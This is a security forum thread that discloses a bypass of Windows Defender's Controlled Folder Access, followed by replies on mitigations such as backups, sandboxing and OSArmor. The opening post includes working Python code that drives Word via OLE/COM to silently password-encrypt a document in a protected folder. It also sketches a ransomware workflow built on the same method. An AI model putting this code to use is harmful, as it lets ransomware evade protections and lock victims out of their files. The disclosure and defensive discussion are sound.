Microsoft Anti Ransomware bypass (not a vulnerability for Microsoft)

Status
Not open for further replies.

Paul.R

Level 17
Thread author
Verified
Well-known
May 16, 2013
844
Since Windows 10 Fall Creators Update, Microsoft added protection for Ransomware in their product ‘Windows Defender’.

This new feature uses a granular access control to several folders with the purpose to block changes made from untrusted software.

In the same way than firewalls do with programs that want to make connections (allow/block) Windows Defender uses the same approach to allow/block access to the folders, giving (theoretically) a very good protection to Ransomware attacks.

By default Microsoft has a pre-defined list with the software that is allowed to make changes in protected folders. Users could add new programs that could made changes.

More info about Microsoft Anti Ransomware here

Vulnerability

By default, Office executables are included in the whitelist so these programs could make changes in protected folders without restrictions.
This access level is granted even if a malicious user uses OLE/COM objects to drive Office executables programmatically.

So a Ransomware developer could adapt their software to use OLE objects to change / delete / encrypt files invisibly for the files owner.

Consider this python code:

file = open('C:/Users/YJ/Documents/test.docx','w')
file.write('Random text.')
file.close()


It tries to open a file located in a protected folder (Documents) to write it

If you try to use it with Defender ransomware protection activated they raise an error and access is denied because Python.exe is not allowed to make changes in the protected folder

But this python code:

import win32com.client
filetoberansom = r'C:/Users/YJ/Documents/test.docx'
word = win32com.client.Dispatch("Word.Application")
word.visible = 0
doc = word.Documents.Open(filetoberansom)
word.Documents.Item(1).Password= '12345678'
word.Documents.Item(1).Save()
word.Documents.Item(1).Close()
word.Application.Quit()


Do the magic !
  1. open the file
  2. encrypt it with password 12345678 (using native Office Document protection)
  3. save it

Why ? Because this code uses OLE Word Object to do the work, so in fact is Word who is doing the job :)

Using this technique an attacker could perform a Ransomware attack bypassing Windows Defender protection activating the native encryption feature of Microsoft Office.

In a environment with Office+Windows (the most common) Microsoft Anti Ransom is totally useless

Another possibility is:
  • Using Selection.Copy method to copy the content of a protected file
  • Using Selection.Paste to put the content in another file outside protected folders
  • Then delete content of the original file or put a Ransomware note
  • Encrypt the new file as ransomware does
Notice that Office could be used to edit PDF files, Image files and others type of files not strictly related to Office documents
Microsoft answer
I have notified to Microsoft on 23 January and on 31 I got this response

The most relevant part is:
We aren't classifying this as a security vulnerability because Defender Exploit Guard isn't meant to be a security boundary

But if you read this Microsoft defines Exploit guard as 'Windows system and application exploit mitigations using Windows Defender Exploit Guard (WDEG)'

Also relevant
'Instead, we will address this through an improvement to the Controlled Folder Access functionality'

That really means Microsoft will fix the vulnerability that should be clasified as Mitigation bypass without acknowledgment
 
D

Deleted member 65228

It's not going to be full-proof though, is it?

Even if they patch this up, there's still many ways to "bypass" Controlled Folder Access. For starters you can simply find a way to access which processes are white-listed and then rely on Remote Code Execution to get a white-listed process to execute malicious code which will handle the file enumeration and encryption routine lol

The solution to all of this? Make sure you have a good backup at all times which is secured safely, and when it's needed, it has your back.

Good idea:
- If you're using Controlled Folder Access, treat it as a friend which may or may not succeed in helping like everything else security related
- Make sure you have a backup


Bad idea:
- Trick yourself into thinking Controlled Folder Access/anything else security related is full-proof and will always save you


Anyway, don't use Microsoft Office unless its 100% necessary. Use an lesser known alternative or online services like Google Docs, you'll be better off this way. Microsoft Office is a very big target considering the population for usage. There's vulnerabilities exposed for it every odd week, just do yourself a favour and don't use it in the first place unless you must. Simple

Take care of your backup and your backup will take care of you. ;)
 
Last edited by a moderator:

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,129
This vulnerability is one of many reasons (macros, DDE, ActiveX Components, OLE, Powerpoint Actions, Filter Bypasses) for not using MS Office desktop applications. There are also exploit vulnerabilities for not supported versions (MS Office 2007 and previous editions). The malicious Office documents can be a source of various infections (including fileless malware). The much safer solution is Office Online or GoogleDrive. Also, Universal Applications (Windows Store) like Word Mobile, Excel Mobile, PowerPoint Mobile are a lot safer (AppContainer). The good alternatives are also free Office applications (SoftMaker Office, WPS Office, LibreOffice, OpenOffice), but in this case, some vulnerabilities may be still present.
If for some reasons MS Office is required, then one can secure it via sandboxing (ReHips Permissive mode, Sandboxie, etc.). See also the below link for some other good possibilities:
Now you see me: Exposing fileless malware
 
Last edited:

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,129
Most desktop Office applications (also non-Microsoft) are vulnerable to embedded OLE. The malicious document can have for example embedded script or .exe file, that is visible in the document as an icon. When the user clicks the icon, the file is executed. This can be used by the attacker to run the fileless malware or to avoid the anti 0-day protection for .exe files like SmartScreen or Avast CyberCapture. The embedded .exe files are not recognized as downloaded from the Internet.
 
5

509322

"We aren't classifying this as a security vulnerability because Defender Exploit Guard isn't meant to be a security boundary''

:sneaky::ROFLMAO:

seriously...

That's the same line they used when confronted with UAC bypasses. But as you can see at the bottom there Microsoft will fix it without acknowledging it.
 
Last edited by a moderator:

Vasudev

Level 33
Verified
Nov 8, 2014
2,230
What about Windows Defender Exploit Guard, or OSA?
Won't they stop Office apps from running python etc in the first place?
Did EMET put MSO apps in a container? I certainly felt MSO was slower when using EMET with added protection to tackle macros and OLE from executed directly.
 

shmu26

Level 85
Verified
Honorary Member
Top Poster
Content Creator
Well-known
Jul 3, 2015
8,153
Did EMET put MSO apps in a container? I certainly felt MSO was slower when using EMET with added protection to tackle macros and OLE from executed directly.
Don't know about container, but the new Exploit Guard feature in Windows 10 does stop MSO apps from spawning child processes.
The advanced Defender settings slow down the launching of apps, though.

Also OSArmor stops MSO apps from spawning child processes.

As far as I understand, this should mitigate the bypass discussed in the article.
 

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,129
Don't know about container, but the new Exploit Guard feature in Windows 10 does stop MSO apps from spawning child processes.
...
This mitigation can be applied to any application via Defender Security Center (Exploit Protection), but for Office applications, it has some cons:
  • Printing is disabled
  • Equation Editor is disabled
  • Executing other Office applications from the protected one (for example Excel from Word) is disabled.
For home users, they can be probably not important, if one will accept printing via 'Send to' option from Explorer context menu.
 

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,129
...
Also OSArmor stops MSO apps from spawning child processes.
...
That is true that OSArmor can block some vulnerable child processes of MS Office applications (like wscript.exe, mshta.exe, etc.) via AntiExploitMicrosoftWord rule, but generally does not block embedded programs in MS Office documents. I do not know if OSArmor AntiExploitMicrosoftWord rule, can block Python or other external interpreters. The mentioned ransomware will not be executed on the standard home computer with MS Office + OSArmor because Python is not installed by default. If the attacker will use Windows built-in script interpreter it will be blocked by OSArmor.
.
Edit
It seems that AntiExploitMicrosoftWord rule can block EXE files embedded in Office documents (but not MSI files).
 
Last edited:

shmu26

Level 85
Verified
Honorary Member
Top Poster
Content Creator
Well-known
Jul 3, 2015
8,153
That is true that OSArmor can block some vulnerable child processes of MS Office applications (like wscript.exe, mshta.exe, etc.) via AntiExploitMicrosoftWord rule, but generally does not block embedded programs in MS Office documents. I do not know if OSArmor AntiExploitMicrosoftWord rule, can block Python or other external interpreters.
Thanks for the clarifications, especially about embedded programs in MS Office documents. I am surprised that OSA doesn't block them. Interesting.
 
  • Like
Reactions: Andy Ful

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,129
Thanks for the clarifications, especially about embedded programs in MS Office documents. I am surprised that OSA doesn't block them. Interesting.
I have an interesting, private correspondence with Andreas, about vulnerabilities and bypasses. So far, most of bypasses which I found were corrected in OSArmor. Yesterday, I suggested adding the option to block all active content in documents (macros, OLE, DDE, etc.) for the popular Office applications. But, this can be difficult, so we will see.
 

shmu26

Level 85
Verified
Honorary Member
Top Poster
Content Creator
Well-known
Jul 3, 2015
8,153
I have an interesting, private correspondence with Andreas, about vulnerabilities and bypasses. So far, most of bypasses which I found were corrected in OSArmor. Yesterday, I suggested adding the option to block all active content in documents (macros, OLE, DDE, etc.) for the popular Office applications. But, this can be difficult, so we will see.
So now I can see why you recently have been exploring the possibilities for sandboxing MS Office apps.
 

Andy Ful

From Hard_Configurator Tools
Verified
Honorary Member
Top Poster
Developer
Well-known
Dec 23, 2014
8,129
OSArmor is very good at blocking vulnerable programs/scripts embedded in MS Office documents opened by MS Office. In fact, I could not bypass OSArmor when all available mitigations were ticked (including Advanced). I tested embedded scripts and embedded OLE, so I cannot say anything about other possibilities like, for example, the popular DDE.
In the default settings, some embedded files can be run, for example, MSI files can be run via OLE (but not EXE files).
If the Office application is not on the Anti-Exploit list in OSArmor (like Softmaker Office), then the protection is not so strong, especially with OLE.
 

shmu26

Level 85
Verified
Honorary Member
Top Poster
Content Creator
Well-known
Jul 3, 2015
8,153
OSArmor is very good at blocking vulnerable programs/scripts embedded in MS Office documents opened by MS Office. In fact, I could not bypass OSArmor when all available mitigations were ticked (including Advanced). I tested embedded scripts and embedded OLE, so I cannot say anything about other possibilities like, for example, the popular DDE.
Okay, so that is more like what I was thinking originally.
OSArmor is very good at blocking vulnerable programs/scripts embedded in MS Office documents opened by MS Office. In fact, I could not bypass OSArmor when all available mitigations were ticked (including Advanced). I tested embedded scripts and embedded OLE, so I cannot say anything about other possibilities like, for example, the popular DDE.
In the default settings, some embedded files can be run, for example, MSI files can be run via OLE (but not EXE files).
If the Office application is not on the Anti-Exploit list in OSArmor (like Softmaker Office), then the protection is not so strong, especially with OLE.
So it sounds like default OSA exploit protection is blocking MS Office from executing the most commonly abused Windows processes, and OSA will expand the list of blocked processes if advanced options are enabled.
 
  • Like
Reactions: Andy Ful
Status
Not open for further replies.

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top